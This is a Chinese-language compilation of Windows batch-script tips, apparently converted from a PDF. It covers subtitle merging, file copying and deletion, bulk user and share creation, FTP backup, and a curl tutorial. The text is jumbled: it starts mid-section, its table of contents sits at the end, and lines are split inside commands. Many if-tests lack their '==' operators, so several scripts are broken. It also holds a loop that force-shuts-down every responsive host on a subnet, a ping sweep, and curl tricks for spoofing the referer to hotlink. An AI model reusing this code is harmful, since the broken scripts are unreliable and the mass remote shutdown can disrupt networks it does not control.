            Charlie? 


            3 


            00:00:21,535 --> 00:00:23,040 


            How about you and I go for a walk? 


            4 


            00:00:23,639 --> 00:00:24,356 


            No. 


            5 


            00:00:24,872 --> 00:00:27,217 


            No, thanks, Locke. I think I'm gonna stay in today. 


            要求合并后的文件如下 


            代码: 


            1 


            00:00:17,920 --> 00:00:18,625 


            Charlie? 


            Charlie? 


            2 


          00:00:19,858 --> 00:00:20,606 


          Charlie? 


          Charlie? 


          3 


          00:00:21,635 --> 00:00:23,140 


          和我一块儿去散步怎样? 


          How about you and I go for a walk? 


          4 


          00:00:23,739 --> 00:00:24,456 


          不 


         No. 


          5 


          00:00:24,972 --> 00:00:27,317 


          不,不去,Locke,今天我哪儿都不想去 


         No, thanks, Locke. I think I'm gonna stay in today. 


          想把中英文字幕合并起来,边看片子还可以边学学英文 


          其实软件上是可以同时加载2个字幕的,也可以实现要求 


          可是我现在看片子都是在Xbox上看,XBMC这个播放软件在同一时间只能支持一 


          个srt字幕,所以才会有此要求 


          设文件名为file1.txt file2.txt,以下内容保存为.bat文件执行 


          f.bat 


          代码: 


          del 1.txt 2.txt all.txt 合并后文档.txt 


          echo 加一行 >2.txt 


          type file2.txt >>2.txt 


          copy file1.txt 1.txt 


          :#源文件准备 


          findstr /n "." 1.txt 2.txt >tmp.txt 


          :#合并源文件并添加行号 


          for /l %%i in (1,1,500) do findstr /r "^1.txt:%%i:" tmp.txt 


          >>all.txt || findstr /r "^2.txt:%%i:" tmp.txt >>all.txt 


          :#分析,构造目标文件 


         for /f "tokens=3,* delims=:" %%i in (all.txt) do echo %%i%%j >>合并 


         后文档.txt 


          :#滤除多余信息 


         *交叉合并 


         ------------------------------------------------------------ 


          11.snap&compare 多个html的固定内容 


         有以下内容 


         http://www.abcd.com/pub/wrok1.html 


         http://www.abcd.com/pub/wrok2.html 


         http://www.abcd.com/pub/wrok3.html 


         . 


         .. 


         ... 


         http://www.abcd.com/pub/wrok(*).html 


         每个html,几乎整个html部分都是固定内容,除了我要监测的(文本方式打开 


         )第225行,第38位开始,75位结束这段,它们 


         有不定时的改变,所有html更新的部分也许不止这一个地方,但我只想监测这 


         一段 


         有没有软件或方法snap一次镜像,然后下次再snap后作出对上次snap的对比 


          ,得出哪个url的html内容监测段作出了改变? 


         无错误控制,以下内容保存为.bat文件执行 


          snap&compare.bat 


         代码: 


         @echo off 


         del 差异.txt 2>nul 


         copy /y snap.txt snap_old.txt 1>nul 


          :#清理及悲愤snap 


          :snap 


         echo        %date% %time%       >snap.txt 


          :#加入时间戳 


          set url=http://www.abcd.com/pub/wrok 


          :#url变量赋值 


          for /l %%i in (1,1,100) do curl %url%%%i.html | findstr /n "." | 


          findstr /r "^225:" >>tmp.txt && echo %url%%%i >>tmp.txt 


          :#下载htm并过滤所需行 


          setlocal ENABLEDELAYEDEXPANSION 


          for /f "tokens=1* delims=:" %%i in (tmp.txt) do if "%%i"  "http" 


          (echo %%i%%j !n! >>snap.txt) else set n=%%j 


          endlocal 


          :#整型快照 


          del tmp.txt 


          :#删除临时文件 


          :goto 


          if not exist snap_old.txt cls && echo           第一次建立快照文件 


          snap^.txt^,请再次运行snap^&compare^.cmd获取文件差异                       && pause 


          && goto end 


          :#判断是否存在对比快照,如不存在则不进行差异比较 


          :compare 


          findstr /n "." snap.txt >tmp1.txt 


          findstr /n "." snap_old.txt >tmp2.txt 


          :#为snap文本加入行号 


          for /l %%i in (2,1,100) do findstr /r "^%%i:" tmp1.txt tmp2.txt 


          >>tmp3.txt 


          :#以行号为序合并tmp文件 


          findstr /r "1:" tmp*.txt >>差异.txt 


          :#添加时间戳 


          setlocal ENABLEDELAYEDEXPANSION 


          for /f "tokens=1* delims=:" %%i in (tmp3.txt) do if %%i  tmp1.txt 


          (set n=%%j) else (if %%j neq !n! echo %%j>>差异.txt) 


          endlocal 


          :#比较文本,计算差异行及行号 


          del tmp*.txt 


          :#清理临时文件 


          cls && echo            完成差异比较,请查看"差异.txt"                         && 


          pause 


          end: 


          *两行并一行,相似文本比较 


5. cmd 


          cmd下的一些文件处理: 


          1.保持文件夹结构,copy特定大小,时间,类型文件 


          2.保持文件夹结构,copy文件名,内容空 


          3.按文件数量移动文件到目标目录 


          4.copy某层(3..4..5)子目录下的文件到目标路径 


          5.删除文件夹中非某扩展名(如txt)的文件 


          6.copy不同文件夹下的同名文件到目标文件夹 


          7.同一文件copy到所有子文件夹中 


          8.处理所有扩展名为e??且不是exe的文件 


          9.每个文件生成一个同名文件夹,然后把各个文件拷贝到同名文件夹中 


          10.删除空文件夹 


          1.保持文件夹结构,copy特定大小,时间,类型文件 


          #特定类型 


          xcopy /s/y *.exe 目标路径 


          *很多单独的命令(dir;xcopy等)自身就富有变化,善用之 


          #特定大小 


          (例如小于50000字节,具体运算符号:EQU - 等于 NEQ - 不等LSS - 小于 LEQ 


         - NEQ - 不等于) 


         for /r %i in (*.*) do if %~zi lss 50000 xcopy /s "%i" 目标路径"%~pi" 


         *出动循环武器for命令,可与众多命令搭配使用,例如if,findstr,echo等等 


         *这里用它枚举子文件夹下的文件,%~zi扩冲为文件大小,交给if命令进行比较 


         运算,成功后xcopy至目标路径并copy文件夹 


         *for命令执行顺序)输入,for枚举,do...爱干吗干嘛 


         #特定时间 


         例:拷贝特定时间(2005-04-19)的文件,以下内容保存为.bat文件执行 


         代码: 


         setlocal ENABLEDELAYEDEXPANSION 


         for /r %%i in (*.*) do set dd=%%~ti && if "!dd:~0,8!"  "05-04-19" 


         xcopy /s "%%i" 目标路径"%%~pi" 


         endlocal 


         *同上一条,还是for,if,xcopy,由于不能直接对for变量%~ti进行%~ti:~0,8这 


         样的扩展,变通一下,set给普通变量,再做扩展 


         *%var~:0,8%扩展的说明:两个数字表示偏移量和长度,具体参看set /? 


         *关于ENABLEDELAYEDEXPANSION延迟环境变量扩充,参看set /?,有实例说明 


         ----------------------------------------------- 


         2.保持文件夹结构,copy文件名,内容空 


         xcopy /t/s *.* 目标路径 


         for /r %i in (*.*) do echoc >目标路径"%~pnxi" 


         *xcopy /t/s建立镜象文件夹,for /r in (*.*)枚举子文件夹中的文件,利用 


         echoc的bug,写入0字节文件 


         ----------------------------------------------- 


         3.按文件数量移动文件到目标文件夹,以下内容保存为.bat文件执行 


         代码: 


         setlocal ENABLEDELAYEDEXPANSION 


          set /a n=0 


          :loop 


          set /a n=n+1 


          md 文件夹%n% 


          for %%i in (*.*) do move "%%i" 文件夹%n% & dir 文件夹%n% | findstr 


          /c:"100 个文件" && goto loop 


          endlocal 


          *需求将源文件夹中的文件,每100个移动至文件夹1..2..3 


          *for (*.*) do move一个 && 查找是否有100个了 && 找到跳出去,移动下 


          100个 


          ----------------------------------------------- 


          4.copy某层(3..4..5)子目录下的文件到目标路径 


          #复制第3层文件夹下的文件到目标路径 


          dir /s/b/a:d >d.txt 


          for /f "tokens=1-4 delims=" %i in (d.txt) do echo n | xcopy /e 


          "%i\%j\%k\%l" 目标路径 


          *dir 列出没有标题信息或摘要的子文件夹,并重定向到d.txt 


          *for /f ..(d.txt),分析d.txt,交xcopy复制 


          *也可以直接用for /f ..('dir /s/b/a:d') do dir输出会被抓进内存,当作 


          文件分析。分两行写主要是考虑到文件夹复杂时的脚本效率 


          ----------------------------------------------- 


          5.删除文件夹中非某扩展名(如txt)的文件 


          for /f "delims=/" %i in ('dir /b/s *.*') do dir /b/s *.txt | find 


          "%i" || del "%i" 


          *抓dir *.*的输出,在dir *.txt输出中查找,没找到则不是txt文件,删除之 


          *可扩充为非txt+jpg+gif的文件,不会眼花了 


          ----------------------------------------------- 


          6.copy不同文件夹下的同名文件到目标文件夹 


          文件夹1下面有一个文件123.jpg 


         文件夹2下面也有一个文件123.jpg,文件名相同,内容不同 


         文件夹3下面也有一个文件123.jpg,文件名相同,内容不同 


          …… 


         我想搜索所有的文件123.jpg,copy到一个目标文件夹下,但是我用搜索->复 


         制,出现后者覆盖前者的问题,只能保留一个文件123.jpg,有没有 


         办法把这些同名文件拷贝到相同文件夹下?或者是说如何自动重命名搜索到的 


         文件? 


         dir /s/b 123.jpg | find /n "123.jpg" >temp.txt 


         for /f "tokens=1,2 delims=[]" %i in (temp.txt) do copy "%j" d:123- 


         "%i".jpg 


         *枚举所有123.jpg文件的完整路径,并加上行号重定向到temp.txt 


         *for /f () do copy 同时重命名为123_行号.jpg,行号不会重复,利用一下 


         ----------------------------------------------- 


         7.同一文件copy到所有子文件夹中 


         for /r %a in (.) do xcopy /y filename "%~pa" 


         *for /r ..(.) do 只枚举文件夹 


         ----------------------------------------------- 


         8.处理所有扩展名为e??且不是exe的文件 


         for %i in (*.e??) do if /i "%~xi" neq ".exe" echo %i 


         ----------------------------------------------- 


         9.每个文件生成一个同名文件夹,然后把各个文件拷贝到同名文件夹中 


         for %i in (*.*) do md "%~ni" && copy %i "%~ni" 


         ------------------------------------------------ 


          10.删除空文件夹 


         for /l %a in (1,1,9) do for /r %i in (.) do rd %~si 


6. cmdhtm 


         list.rar 


         1.rar 


7. cmd 


         cmd一些其他应用 


         1.快速建用户和共享文件夹 


         2.让服务器在空闲时自动关机或休眠 


         3.通过FTP自动备份文件 


         4.扫描一个网段.用for和ping.然后得到存活主机把结果存为ip和ip之间用,隔 


         开 


         5.DOS下文件列表按文件名长度递增排列 


         6.远程关机 


         1.快速建用户和共享文件夹 


         又要给学生机房装机了 


         因为现在有这样的要求: 


         在教师上加用户 (A1、A2、……A7、B1……H7)(对应学生机) 


         在教师机上建目录共享 (要对应机器.........) 


         就是要建A1目录给A1那台机用。 


         好繁啊,有什么好的介绍吗? 


         for %i in (a b c d e f h) do for /l %j in (1,1,7) do echo %i%j 


         >>name.txt 


          :#构造序号文件 


         for /f %i in (name.txt) do net user %i %i /add 


          :#天家用户 


         for /f %i in (name.txt) do md %i 


          :#建目录 


         for /f %i in (name.txt) do net share %i=盘符:\%i 


          :#共享目录 


         for /f %i in (name.txt) do cacls \%i /g %i:f administrator:f 


         :#配置权限,一路y回车,即可 


         *有for不繁 


         --------------------------------------------------------------- 


         2.让服务器在空闲时自动关机或休眠 


         单位有一局域网,由于win2000的服务器代理上网,内网IP:192.168.0.* 


         因大家不定时上网,一般在后半夜便无人再使用网络,但也不能搞一刀切,不 


         能设定某个时间自动关机,现求一软件,能自动检测内网有无人开机,如果发 


         现在0点后,半个 小时无人上网,服务器则自动关机(或休眠),我发现 


         poweroff软件无法实现这个功能。希望大家帮忙。 


         run.bat #计划任务 0:30分执行这个bat。每30分钟重复执行.注意别ping了 


         服务器,没测试过,不太可靠 


         以下内容保存为.bat文件执行 


         代码: 


         del reply.txt 


         echo 关机日志 > reply.txt 


         for /l %%i in (2,1,254) do ping -n 1 192.168.0.%%i | find "Reply" 


         >>reply.txt 


         find "Reply" reply.txt || shutdown 


         --------------------------------------------------------------- 


         3.通过FTP自动备份文件 


         机器 A 


         D:aaaa ——》a.rar 


         D:bb ————》b.rar 


         每 2个小时自动生成一个RAR文件,存放到 D:ak日期时间 目录下 


          (D:ak2005-01-042.00)然后自动通过FTP传送到 机器B(专用备份机 


         器) 


         请问谁能帮忙写个脚本 谢谢。 或者把压缩过程省略,直接传送文件夹也可以 


         ?传送目录?flashfxp啊 


         以下内容保存为.bat文件执行 


           代码: 


           @echo off 


           path=%path%;c:program fileswinrar 


           :rar 


           set tdate=%date:~4,10% 


           set ttime=%time:~0,2% 


           mkdir "d:ak\%tdate%\%ttime%" 


           rar a -r "d:ak\%tdate%\%ttime%a.rar" d:aaa*.* 


           rar a -r "d:ak\%tdate%\%ttime%.rar" d:bb*.* 


           :ftp 


           echo open ftp.hitme.com >ftp.txt 


           echo hitme >>ftp.txt 


           echo password >>ftp.txt 


           echo bin >>ftp.txt 


           echo hash >>ftp.txt 


           echo prompt >>ftp.txt 


           echo cd bak >>ftp.txt 


           echo lcd "d:ak\%tdate%\%ttime%" >>ftp.txt 


           echo mkdir %tdate% >>ftp.txt 


           echo mkdir %tdate%/%ttime% >>ftp.txt 


           echo cd %tdate%/%ttime% >>ftp.txt 


           echo mput *.* >>ftp.txt 


           echo cd /bak >>ftp.txt 


           echo quit >>ftp.txt 


           ftp -s:ftp.txt 


           *echo 构造ftp.txt,利用了系统变量%date%,%time%的扩充形式 


           --------------------------------------------------------------- 


           4.扫描一个网段.用for和ping.然后得到存活主机把结果存为ip和ip之间用,隔 


           开 


           for /l %i in (1,1,254) do @echo connecting 192.168.1.%i && @(for /f 


          "tokens=1,3 skip=2 delims=: " %j in ('ping 192.168.1.%i') do @if 


          '%j'  'Reply' @find "192.168.1.%i" list.txt > nul 2>nul || @echo 


          %k>>list.txt && @echo 192.168.1.%i connected) 


          *code by su99 


          *单行精品 


          --------------------------------------------------------------- 


          5.DOS下文件列表按文件名长度递增排列 


          如果一个目录里面有如下四个文件(当然,实际中文件数量和文件名是随机的) 


          1.txt,2.txt,10.txt,20.txt 


          在DOS下要如何使用如何才能让他们按 


          1.txt 


          2.txt 


          10.txt 


          20.txt 


          输出,而非 


          1.txt 


          10.txt 


          2.txt 


          20.txt 


          输出? 


          我用的系统是xp~多谢大家~ 


          for /l %a in (1,1,20) do @(if exist "%a.txt" echo %a.txt) 


          *思路是穷举。前提是文件名有一定规律:除了数字外的部分要一样,如果是 


          abc1.txt, xyz10.txt这样乱来,这个方法就不管用了(严格说,如果是有限 


          个不同的pattern,仍然可以做到,不过麻烦一些) 


          *code by su99 


                        or 


          list.bat,以下内容保存为.bat文件执行 


          代码: 


          @echo off 


          set t=.... 


          :loop 


          set t=%t%. 


          dir /b /a:-d | findstr /r "^%t%$" 


          if "%t%"    "........................." goto end 


          goto loop 


          :end 


          *findstr/r "^.....$过滤排序 


          --------------------------------------------------------------- 


          6.远程批量关机,以下内容保存为.bat文件执行 


          代码: 


          for /l %%i in (1,1,254) do @(arp -d & ping 192.168.3.%%i -n 1 -w 100 


          & arp -a | find "00-00-00-00-00-00" > nul || shutdown -m 


          192.168.3.%%i -s -f) 


          *关闭了icmp,照关 


8. cmd 


          cmd中一些符号的说明: 


          & 


          最简单的组合命令,作用是连接n个命令,按顺序执行,不管是否有执行失败 


          。 


          a & b 


          #依次执行a,b 


          && 


          组合命令,与&命令不同之处在于,判断是否有执行失败,如失败将不继续执 


          行剩下的命令。 


          a && b 


          #a成功,b执行 


          || 


          作用与&&相反 


          a || b 


          #a失败,b执行 


          连着用a && b || c,表示a成功,则执行b,b失败,则执行c 


          >、>> 


          输出重定向命令,将命令的输出写入到一个文件中。 


          区别:>覆盖写入,>>尾部追加写入 


          echo a>a.txt 


          find /v "" *.txt >list.txt 


          | 


          管道命令,前一命令的输出作为后一命令的输入,常用于文本过滤操作 


          dir | find "hitme.exe" 


9. cmdUnicode to ASCII 


          TYPE Unicode.txt > ASCII.txt 


10. Curl- 


          CURL? 嗯,说来话长了~~~~ 


          这东西现在已经是苹果机上内置的命令行工具之一了,可见其魅力之一斑 


          1) 


          二话不说,先从这里开始吧! 


          curl http://www.yahoo.com 


          回车之后,www.yahoo.com 的html就稀里哗啦地显示在屏幕上了~~~~~ 


          2) 


          嗯,要想把读过来页面存下来,是不是要这样呢? 


          curl http://www.yahoo.com > page.html 


         当然可以,但不用这么麻烦的! 


         用curl的内置option就好,存下http的结果,用这个option: -o 


         curl -o page.html http://www.yahoo.com 


         这样,你就可以看到屏幕上出现一个下载页面进度指示。等进展到100%,自然 


         就OK咯 


         3) 


         什么什么?!访问不到?肯定是你的proxy没有设定了。 


         使用curl的时候,用这个option可以指定http访问所使用的proxy服务器及其 


         端口: -x 


         curl -x 123.45.67.89:1080 -o page.html http://www.yahoo.com 


         4) 


         访问有些网站的时候比较讨厌,他使用cookie来记录session信息。 


         像IE/NN这样的浏览器,当然可以轻易处理cookie信息,但我们的curl呢 


          ?..... 


         我们来学习这个option: -D <-- 这个是把http的response里面的cookie信息 


         存到一个特别的文件中去 


         curl -x 123.45.67.89:1080 -o page.html -D cookie0001.txt 


         http://www.yahoo.com 


         这样,当页面被存到page.html的同时,cookie信息也被存到了 


         cookie0001.txt里面了 


         5) 


         那么,下一次访问的时候,如何继续使用上次留下的cookie信息呢?要知道 


         ,很多网站都是靠监视你的cookie信息, 


         来判断你是不是不按规矩访问他们的网站的。 


         这次我们使用这个option来把上次的cookie信息追加到http request里面去: 


         -b 


         curl -x 123.45.67.89:1080 -o page1.html -D cookie0002.txt -b 


         cookie0001.txt http://www.yahoo.com 


         这样,我们就可以几乎模拟所有的IE操作,去访问网页了! 


         6) 


         稍微等等~~~~~我好像忘记什么了~~~~~ 


         对了!是浏览器信息~~~~ 


         有些讨厌的网站总要我们使用某些特定的浏览器去访问他们,有时候更过分的 


         是,还要使用某些特定的版本~~~~ 


         NND,哪里有时间为了它去找这些怪异的浏览器呢!? 


         好在curl给我们提供了一个有用的option,可以让我们随意指定自己这次访问 


         所宣称的自己的浏览器信息: -A 


         curl -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -x 


         123.45.67.89:1080 -o page.html -D cookie0001.txt 


         http://www.yahoo.com 


         这样,服务器端接到访问的要求,会认为你是一个运行在Windows 2000上的 


         IE6.0,嘿嘿嘿,其实也许你用的是苹果机呢! 


         而"Mozilla/4.73 [en] (X11; U; Linux 2.2; 15 i686"则可以告诉对方你是 


         一台PC上跑着的Linux,用的是Netscape 4.73,呵呵呵 


         7) 


         另外一个服务器端常用的限制方法,就是检查http访问的referer。比如你先 


         访问首页,再访问里面所指定的下载页,这第二次访问的referer地址就是第 


         一次访问成功后的页面地址。这样,服务器端只要发现对下载页面某次访问的 


         referer地址不 是首页的地址,就可以断定那是个盗连了~~~~~ 


         讨厌讨厌~~~我就是要盗连~~~~~!! 


         幸好curl给我们提供了设定referer的option: -e 


         curl -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -x 


         123.45.67.89:1080 -e "mail.yahoo.com" -o page.html -D cookie0001.txt 


         http://www.yahoo.com 


         这样,就可以骗对方的服务器,你是从mail.yahoo.com点击某个链接过来的了 


         ,呵呵呵 


         8) 


         写着写着发现漏掉什么重要的东西了!----- 利用curl 下载文件 


         刚才讲过了,下载页面到一个文件里,可以使用 -o ,下载文件也是一样。 


          比如, curl -o 1.jpg http://cgi2.tky.3web.ne.jp/~zzh/screen1.JPG 


         这里教大家一个新的option: -O 


         大写的O,这么用: curl -O 


         http://cgi2.tky.3web.ne.jp/~zzh/screen1.JPG 


         这样,就可以按照服务器上的文件名,自动存在本地了! 


         再来一个更好用的。 


         如果screen1.JPG以外还有screen2.JPG、screen3.JPG、....、 


         screen10.JPG需要下载,难不成还要让我们写一个script来完成这些操作? 


         不干! 


         在curl里面,这么写就可以了: 


         curl -O http://cgi2.tky.3web.ne.jp/~zzh/screen[1-10].JPG 


         呵呵呵,厉害吧?!~~~ 


         9) 


         再来,我们继续讲解下载! 


         curl -O http://cgi2.tky.3web.ne.jp/~{zzh,nick}/[001-201].JPG 


         这样产生的下载,就是 


         ~zzh/001.JPG 


         ~zzh/002.JPG 


         ... 


         ~zzh/201.JPG 


         ~nick/001.JPG 


         ~nick/002.JPG 


         ... 


         ~nick/201.JPG 


         够方便的了吧?哈哈哈 


         咦?高兴得太早了。 


          由于zzh/nick下的文件名都是001,002...,201,下载下来的文件重名,后面 


         的把前面的文件都给覆盖掉了~~~ 


         没关系,我们还有更狠的! 


         curl -o #2_#1.jpg http://cgi2.tky.3web.ne.jp/~{zzh,nick}/[001- 


         201].JPG 


         --这是.....自定义文件名的下载? 


         --对头,呵呵! 


         #1是变量,指的是{zzh,nick}这部分,第一次取值zzh,第二次取值nick 


         #2代表的变量,则是第二段可变部分---[001-201],取值从001逐一加到201 


         这样,自定义出来下载下来的文件名,就变成了这样: 


         原来: ~zzh/001.JPG ---> 下载后: 001-zzh.JPG 


         原来: ~nick/001.JPG ---> 下载后: 001-nick.JPG 


         这样一来,就不怕文件重名啦,呵呵 


         9) 


         继续讲下载 


         我们平时在windows平台上,flashget这样的工具可以帮我们分块并行下载 


         ,还可以断线续传。 


         curl在这些方面也不输给谁,嘿嘿 


          比如我们下载screen1.JPG中,突然掉线了,我们就可以这样开始续传 


         curl -c -O http://cgi2.tky.3wb.ne.jp/~zzh/screen1.JPG 


         当然,你不要拿个flashget下载了一半的文件来糊弄我~~~~别的下载软件的半 


         截文件可不一定能用哦~~~ 


         分块下载,我们使用这个option就可以了: -r 


         举例说明 


          比如我们有一个http://cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 要下载(赵老 


         师的电话朗诵 :D ) 


         我们就可以用这样的命令: 


         curl -r 0-10240 -o "zhao.part1" 


         http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 & 


         curl -r 10241-20480 -o "zhao.part1" 


         http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 & 


         curl -r 20481-40960 -o "zhao.part1" 


         http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 & 


         curl -r 40961- -o "zhao.part1" 


         http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.mp3 


         这样就可以分块下载啦。 


         不过你需要自己把这些破碎的文件合并起来 


          如果你用UNIX或苹果,用 cat zhao.part* > zhao.mp3就可以 


          如果用的是Windows,用copy /b 来解决吧,呵呵 


          上面讲的都是http协议的下载,其实ftp也一样可以用。 


          用法嘛, 


          curl -u name:passwd ftp://ip:port/path/file 


          或者大家熟悉的 


          curl ftp://name:passwd@ip:port/path/file 


          10) 


          说完了下载,接下来自然该讲上传咯 


          上传的option是 -T 


          比如我们向ftp传一个文件: curl -T localfile -u name:passwd 


          ftp://upload_site:port/path/ 


          当然,向http服务器上传文件也可以 


          比如 curl -T localfile http://cgi2.tky.3web.ne.jp/~zzh/abc.cgi 


          注意,这时候,使用的协议是HTTP的PUT method 


          刚才说到PUT,嘿嘿,自然让老服想起来了其他几种methos还没讲呢! 


          GET和POST都不能忘哦。 


          http提交一个表单,比较常用的是POST模式和GET模式 


          GET模式什么option都不用,只需要把变量写在url里面就可以了 


          比如: 


          curl http://www.yahoo.com/login.cgi?user=nickwolfe&password=12345 


          而POST模式的option则是 -d 


          比如,curl -d "user=nickwolfe&password=12345" 


          http://www.yahoo.com/login.cgi 


          就相当于向这个站点发出一次登陆申请~~~~~ 


          到底该用GET模式还是POST模式,要看对面服务器的程序设定。 


          一点需要注意的是,POST模式下的文件上的文件上传,比如 


          <form method="POST" enctype="multipar/form-data" 


          action="http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi"> 


          <input type=file name=upload> 


          <input type=submit name=nick value="go"> 


          </form> 


          这样一个HTTP表单,我们要用curl进行模拟,就该是这样的语法: 


          curl -F upload=@localfile -F nick=go 


          http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi 


          罗罗嗦嗦讲了这么多,其实curl还有很多很多技巧和用法 


          比如 https的时候使用本地证书,就可以这样 


          curl -E localcert.pem https://remote_server 


          再比如,你还可以用curl通过dict协议去查字典~~~~~ 


          curl dict://dict.org/d:computer 


          今天就先讲到这里吧,呵呵。疯狂的curl功能,需要你---一起来发掘。 


          copyright by nickwolfe@CCF 


          2004.08.24 21:24应朋友之邀所作--初稿 


          curl.rar 


11. MT<->IE cmd 


          快捷组cgp->收藏夹url 


          conv_c_u.cmd 


          MT Groups目录下运行 


          代码 


          @echo off 


          setlocal ENABLEDELAYEDEXPANSION 


          for %%a in (*.cgp) do ( 


          set pathu=ie_url\%%~na 


          md !pathu! 


           set /a n=0 


           for /f "skip=1 tokens=1* delims  " %%i in (%%a) do ( 


           if "%%i"  "[Properties]" (set /a n=1) else ( 


            if !n!  0 ( 


               echo [InternetShortcut]>>"!pathu!\%%i".url 


              echo URL=%%j>>"!pathu!\%%i".url) 


              ) 


           ) 


           ) 


           endlocal 


           收藏夹url->快捷组cgp 


           conv_u_c.cmd 


           IE_Favorites目录下运行 


           代码 


           @echo off 


           echo [CaptorGroup]>>url.cgp 


           for /f %%i in ('dir /b/ad') do ( 


           echo [CaptorGroup]>>%%i.cgp 


           ) 


           setlocal ENABLEDELAYEDEXPANSION 


           for /f "usebackq tokens=1,2* delims==" %%i in (`findstr /s /r 


           "^URL=" *.url^|findstr ""`) do ( 


           set n=%%j 


           echo !n:~0,-8!=%%k>>%%i.cgp 


           ) 


           for /f "usebackq tokens=1* delims==" %%i in (`findstr /s /r "^URL=" 


           *.url^|findstr /v ""`) do ( 


           set n=%%i 


           echo !n:~0,-8!=%%j>>url.cgp 


           ) 


           endlocal 


           conv_c_u.rar 


           conv_u_c.rar 


12. PingDNS 


           @echo off 


           if [%1]  [] ( 


                       set ip=emptyType 


                       set str=Address 


           ) else ( 


                       set ip=%1 


                       set str=Name 


           )    


           for /f  "tokens=2" %%i in ('nslookup %ip% ^|findstr "%str%"') do 


           ping %2 %3 %%i 


13. ping() 


           试玩一下,test by win2kchs,部分系统注意自行替换红色部分 


           用法:cmd下 


           sping ip/hostname 

<



        此文本文档由pdf格式转换过来,由于转换的限制,

    代码可能存在断行的情况,在使用的过程中请注意检查。


-----------------------------------------------------------------------------



1. CMD.mdb 


1. 16<=>10  


          欲在cmd下转进制,自己搞加减乘除? 喝多了头疼死,算了 


          偷了把鸡,利用ping和set帮忙运算了一把 


          hoho,什么都不会,就会投机,巨人肩膀上一站,技术在那里? 


          用法: DxH 数字 


          例如: 


          DxH 1234567 


          DxH 0x1234fd3 


          @echo off 


           if "%1"  "" goto :syntax 


           if "%1"  "/?" goto :syntax 


           :H2D 


          set tmpx=%1 


           if "%tmpx:~0,2%"  "0x" ( 


          for /f "delims=" %%i in ('set /a %1') do ( 


          echo. 


          echo %1 = %%i 


          goto :end 


          ) 


          ) 


           :D2H 


          setlocal ENABLEDELAYEDEXPANSION 


          for /f "tokens=2" %%i in ('ping %1 -n 1 -w 1 ^|find "Pinging"') do ( 


          for /f "tokens=1-4 delims=." %%a in ("%%i") do ( 


          set /a tmp1 = %%a / 16 


          set /a tmp2 = %%a - 16 * !tmp1! 


          set /a tmp3 = %%b / 16 


          set /a tmp4 = %%b - 16 * !tmp3! 


           set /a tmp5 = %%c / 16 


           set /a tmp6 = %%c - 16 * !tmp5! 


           set /a tmp7 = %%d / 16 


           set /a tmp8 = %%d - 16 * !tmp7! 


           for /l %%a in (1,1,8) do ( 


           if !tmp%%a!  10 set tmp%%a=!tmp%%a:10=A! 


           if !tmp%%a!  11 set tmp%%a=!tmp%%a:11=B! 


           if !tmp%%a!  12 set tmp%%a=!tmp%%a:12=C! 


           if !tmp%%a!  13 set tmp%%a=!tmp%%a:13=D! 


           if !tmp%%a!  14 set tmp%%a=!tmp%%a:14=E! 


           if !tmp%%a!  15 set tmp%%a=!tmp%%a:15=F! 


           ) 


           ) 


           ) 


           echo. 


           echo %1 = 0x!tmp1!!tmp2!!tmp3!!tmp4!!tmp5!!tmp6!!tmp7!!tmp8! 


           endlocal 


           :end 


           goto:eof 


           :syntax 


           cls 


           echo. 


           echo.DxH.cmd 16进制^<=^>10进制 互转脚本. Written by hitme 2005.7.27 


           echo. 


           echo.用法:  DxH 数字 


           echo. 


           echo.例如:  DxH 1234567 


           echo.       DxH 0x1234fd3 


           DxH.rar 


2. CCF 


          attachment.rar 


3. cmd  


          述求:有一个party,达到对到场人员,随机分组玩团队游戏的目的。。。 


          能够随意的输入姓名,输入完后,把随机分组排列的姓名显示在屏幕上 


          设姓名文本为name.txt,一个名字一行 


          分组规则为:4人一组 


          思路为:乱编号+编号排序=乱序,然后分组 


          随机空间大小为10的3次方,几十人的party应该够了吧 


          准备好name.txt,保存为xy.cmd运行,自定义修改红色部分 


          @echo off 


          for /f "delims=" %%i in (name.txt) do ( 


          setlocal ENABLEDELAYEDEXPANSION 


          for /l %%a in (1,1,3) do ( 


                   echo %random% >nul 


                   set  m=!m!!random:~-1! 


                    ) 


          echo !m!!:%%i>>tmp.txt 


          endlocal 


          ) 


          setlocal ENABLEDELAYEDEXPANSION 


          set /a num=0 


          set /a linenum=0 


          for /f "delims=" %%i in (tmp.txt) do set /a linenum=!linenum!+1 


          for /f "tokens=1,2* delims=: " %%i in ('sort tmp.txt ^| findstr /n 


          "."') do ( 


          set n=%%k 


          set m=!m!!n! 


          set /a num=!num!+1 


          if !num!  4 ( 


          echo !m!>>tmp1.txt 


          set /a num=0 


          set m=) 


          if "%%i"  "!linenum!" ( 


          if "!m!" neq "" echo !m!>>tmp1.txt) 


          ) 


          endlocal 


          findstr /n "." tmp1.txt>list.txt 


          del tmp*.txt 


          start list.txt 


          xy.rar 


4. cmd 


          cmd下的一些文本处理 


          开头跑个题,插播个广告,隆重推出,铛铛铛铛~~~,excel!excel!excel! 


          m$那个电子表格软件?提它做什么?这题太跑了吧? 


          做行文本处理!排序,过滤,中间插入,翻个身,倒个个,奇偶行交换,抽取 


          1,4,9..行,合并,交叉合并,首行填充奇数行,等等72变 


          相比xnix shell,各种文本编辑软件,决不逊色,入门还更容易,帮助文件更 


          为详尽,实为居家旅行,杀人越货的强手货,没有概念的赶紧试用。 


          使用时需要的仅仅是个思路。思路..思路很重要! 


          言归正传,还是cmd,用它做文本处理,只能算是勉为其难,凑合着用吧,常 


         做深呼吸,小心给"憋"着了 


         1.列表多个文本文件文件名+文件内容 


         2.构造001.txt 002.txt 999.txt 文本内容分别是text001 text002 


         3.构造http://..001|002|003../01|02|03.htm序列 


         4.将一堆文本形式的网址单独转换成IE收藏夹的快捷方式 


         5.将IE收藏夹导出为CSV格式文档 


         6.有txt文件all.txt 和 a.txt 里面存放的是文件列表,求出a.txt里面没有 


         ,而all.txt里有的文件列表 


         7.文本文件中的单词实现全文自动统计并排序 


         8.统计一个文本文件中某一单词出现的次数? 


         9.GB和Maxthon群组转换 


         10.合并2个字幕文本文件 


         11.snap&compare 多个html的固定内容 


